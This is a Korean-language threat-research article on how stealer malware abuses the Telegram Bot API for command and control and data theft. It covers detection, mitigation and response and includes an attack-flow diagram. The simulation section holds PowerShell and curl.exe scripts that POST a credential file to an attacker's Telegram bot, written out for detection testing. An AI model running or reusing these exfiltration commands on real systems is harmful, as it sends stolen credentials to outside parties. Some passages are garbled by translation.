SOC Prime Bias: 중간

17 12월 2025 17:33

탐지 및 대응 연대기: 텔레그램 남용 탐구

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
탐지 및 대응 연대기: 텔레그램 남용 탐구
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 여러 위협 행위자들이 Telegram의 Bot API와 채널을 기업에서 명령 및 제어, 데이터 유출, 피해자 모니터링을 위해 어떻게 악용하는지를 설명합니다. DeerStealer, Lumma Stealer, Raven Stealer 및 트로이 목마화된 XWorm 빌더를 포함한 악성코드 계열이 봇 토큰 또는 채널 ID를 하드코딩하여 /sendMessage 및 /sendDocument와 같은 엔드포인트를 호출합니다. 의심스러운 프로세스 명령줄과 트래픽에 중점을 둔 Microsoft Defender 및 Sentinel 탐지 쿼리가 포함됩니다. api.telegram.org. 주요 가이드는 정품 Telegram 사용을 기준으로 삼고 필요하지 않은 곳에서는 API를 차단하는 것입니다.

조사

NVISO의 SOC는 2025년 10월과 2025년 3월에 걸쳐 Telegram이 공격 수명주기의 다양한 지점에서 사용되는 네 번의 침입 시도를 관찰했습니다. 이 글은 Lunar Spider가 가짜 캡차 유도를 통해 피해자들을 모니터링하는 캠페인, DeerStealer가 curl을 통해 운영자에게 알림을 보내는 방식, Lumma Stealer가 Telegram 채널에서 C2 세부 정보를 가져오는 방법, Raven Stealer가 아카이브된 컬렉션을 유출시키는 것, XWorm 빌더가 이 유출과 C2 모두에 대해 Bot API에 의존하는 것을 강조합니다. 분석가들은 프로세스 명령줄, 네트워크 목적지 및 관련 파일 이름을 포함한 지표를 추출했습니다.

완화

적법한 Telegram 사용의 기준을 설정한 후, 필요하지 않은 환경에서 api.telegram.org로의 아웃바운드 액세스를 차단하십시오. API에 연결을 시작하는 비정상적인 프로세스(예: curl, powershell, wscript)에 주의하고, 스크립트로 작성된 Bot API 상호작용을 조사하십시오. telegram.exe를 여는 알려진 브라우저와 같은 예상되는 동작을 억제하도록 탐지를 조정하고, 의심스러운 바이너리나 예상치 못한 호스트로부터의 긴 폴링 또는 웹훅 스타일의 요청을 우선시하십시오.

대응

활동이 감지되면, 감염된 엔드포인트를 격리하고 의심스러운 프로세스를 중지하며 명령줄 인수와 DNS, 프록시, 네트워크 원격 측정을 보존하십시오. 캠페인과 관련된 추가 페이로드를 식별하기 위해 심층 포렌식을 수행하십시오. 노출된 봇 토큰을 회전시키고, 악용된 Telegram 채널을 비활성화하거나 취소하고, 관련 지표를 차단하여 확산을 방지하십시오. 악용이 확인되면 Telegram의 공식 채널을 통해 보고를 확대하고, 반복 발생 방지를 위해 사건을 문서화하십시오.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef process fill:#c2d6f0 classDef malware fill:#f9c2ff classDef operator fill:#ff9900 %% Nodes – Techniques attack_user_execution[“<b>기술</b> – <b>T1204 사용자 실행</b>: 피해자는 가짜 Google Chrome 업데이트에 포함된 악성 실행 파일을 실행하도록 속임수를 당한다.”] class attack_user_execution technique attack_software_extensions[“<b>기술</b> – <b>T1176 소프트웨어 확장</b>: 손상된 WordPress 플러그인이 악성 iframes를 삽입하여 가짜 업데이트를 전송한다.”] class attack_software_extensions technique action_archive_data[“<b>기술</b> – <b>T1560.001 유틸리티를 통한 아카이브</b>: PowerShell은 수집된 파일을 ZIP 아카이브로 아카이브한다.”] class action_archive_data technique tech_compression[“<b>기술</b> – <b>T1027.015 압축</b>: ZIP 아카이브가 데이터의 유출을 위한 크기를 줄이기 위해 압축한다.”] class tech_compression technique process_powershell[“<b>프로세스</b> – <b>T1059.001 PowerShell</b>: 아카이브를 실행하고 나중에 curl을 호출하여 전송한다.”] class process_powershell process action_curl[“<b>작업</b> – Curl: PowerShell이 curl을 호출하여 아카이브를 C2 서버에 보냅니다.”] class action_curl tool tech_dead_drop[“<b>기술</b> – <b>T1102.001 데드드롭 리졸버</b>: Malware가 Telegram Bot API 엔드포인트와 통신한다.”] class tech_dead_drop technique tech_messaging_exfil[“<b>기술</b> – <b>T1213.005 메시징 애플리케이션</b>: 시스템 정보 및 자격 증명이 Telegram 채팅/봇을 통해 유출된다.”] class tech_messaging_exfil technique tech_unsecured_creds[“<b>기술</b> – <b>T1552.008 보안되지 않은 자격 증명</b>: Discord 토큰 및 저장된 비밀번호가 채팅 메시지로 전송된다.”] class tech_unsecured_creds technique tech_data_obfusc[“<b>기술</b> – <b>T1001 데이터 난독화</b>: Telegram 채널 이름이 ROT13/ROT15로 암호화된다.”] class tech_data_obfusc technique tech_dynamic_resolution[“<b>기술</b> – <b>T1568 동적 해상도</b>: Malware가 런타임에 난독화된 식별자를 디코드한다.”] class tech_dynamic_resolution technique tech_exfil_c2[“<b>기술</b> – <b>T1041 C2 채널을 통한 유출</b>: 압축된 아카이브와 도난당한 데이터가 Telegram 채널을 통해 전송된다.”] class tech_exfil_c2 technique %% Nodes – Tools / Malware tool_fake_update[“<b>악성코드</b> – 가짜 Chrome 업데이트: 피해자에게 전달되는 악성 실행 파일.”] class tool_fake_update malware tool_wordpress_plugin[“<b>도구</b> – WordPress 플러그인 <i>header-fix-tester</i>: 악성 iframes를 삽입.”] class tool_wordpress_plugin tool %% Operator nodes (optional) op_and1((“AND”)) class op_and1 operator %% Connections – Attack Flow attack_user_execution u002du002d>|전달| tool_fake_update attack_software_extensions u002du002d>|iframe을 주입하여 전달| tool_fake_update tool_fake_update u002du002d>|실행| process_powershell process_powershell u002du002d>|생성| action_archive_data action_archive_data u002du002d>|적용| tech_compression tech_compression u002du002d>|아카이브 생성| action_curl action_curl u002du002d>|데이터 보냄| tech_dead_drop tech_dead_drop u002du002d>|활성화| tech_messaging_exfil tech_messaging_exfil u002du002d>|운반| tech_unsecured_creds tech_unsecured_creds u002du002d>|사용| tech_data_obfusc tech_data_obfusc u002du002d>|지원| tech_dynamic_resolution tech_dynamic_resolution u002du002d>|지원| tech_exfil_c2 tech_exfil_c2 u002du002d>|데이터 유출| tech_dead_drop %% Class assignments class tool_fake_update malware class tool_wordpress_plugin tool class op_and1 operator

공격 흐름

시뮬레이션 실행

전제 조건: 원격 측정 및 기준 사전 검사 통과 필수.

이유: 이 섹션은 탐지 규칙을 작동하도록 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령과 논리는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다.

  • 공격 설명 및 명령:
    침해된 Windows 호스트를 가진 적은 수집된 자격 증명 파일(을) Telegram 봇에게 전송하려고 합니다. 맞춤 바이너리를 저장하는 것을 피하기 위해, 그들은 기본creds.txt) 를 사용하여 그들이 제어하는 Telegram 봇에게 전송합니다. 맞춤 바이너리를 저장하지 않기 위해, 본래의 curl.exe (Windows 10 선택적 기능을 통해 설치됨)을 사용하여 이 파일을 https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument로 POST합니다. 이 명령은 PowerShell에서 실행되어, 프로세스 생성 이벤트가 “api.telegram.org”를 포함한 명령줄을 기록하도록 합니다. 프로세스가 curl.exe이므로, 규칙의 필터 (InitiatingProcessFileName: "telegram.exe") 는 경고를 억제하지 않습니다.

    # 변수 (공격자의 제어된 값으로 교체)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # 파일이 존재하도록 보장 (모의 자격 증명 덤프)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Telegram Bot API를 통해 유출 실행
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • 회귀 테스트 스크립트: 아래 스크립트는 자동 BAS 실행에 적합한 정확한 단계를 재현합니다.

    #--------------------------------------------
    # 회귀 테스트 – Telegram API 유출
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # 임시 작업 공간 생성
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # 모의 자격 증명 파일
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # API URL 구축
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # 유출 실행
    Write-Host "[*] $CredFile을 Telegram에 유출 중..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # 간단한 성공 지표 (전달을 확인하지 않음)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] 유출 명령이 실행되었습니다."
    } else {
        Write-Error "[-] 유출 실패."
    }
  • 정리 명령: 임시 파일 및 디렉토리 제거; 남아 있는 curl.exe 프로세스.

    # 임시 아티팩트 정리
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] 정리 완료."